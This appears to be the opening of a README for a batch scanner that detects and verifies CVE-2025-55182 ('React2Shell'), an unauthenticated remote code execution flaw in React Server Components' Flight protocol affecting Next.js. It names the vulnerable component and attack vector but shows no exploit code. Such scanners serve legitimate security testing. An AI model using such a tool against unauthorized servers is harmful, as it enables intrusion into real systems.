CVE-2025-55182 RCE Scanner

Batch detection and verification tool for CVE-2025-55182 (React2Shell) remote code execution vulnerability.

⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only

Vulnerability Overview

CVE-2025-55182 (aka "React2Shell") is a CVSS 10.0 critical severity unauthenticated remote code execution (RCE) vulnerability.

This vulnerability originates from unsafe deserialization in the react-server package of React Server Components (RSC) when handling the RSC "Flight" protocol. An attacker can send a crafted HTTP request to execute arbitrary code on the vulnerable server.

Since Next.js uses the RSC "Flight" protocol, even default configuration applications created with create-next-app may be exploitable without the developer writing any additional code. Active exploitation has been observed since December 5, 2025.
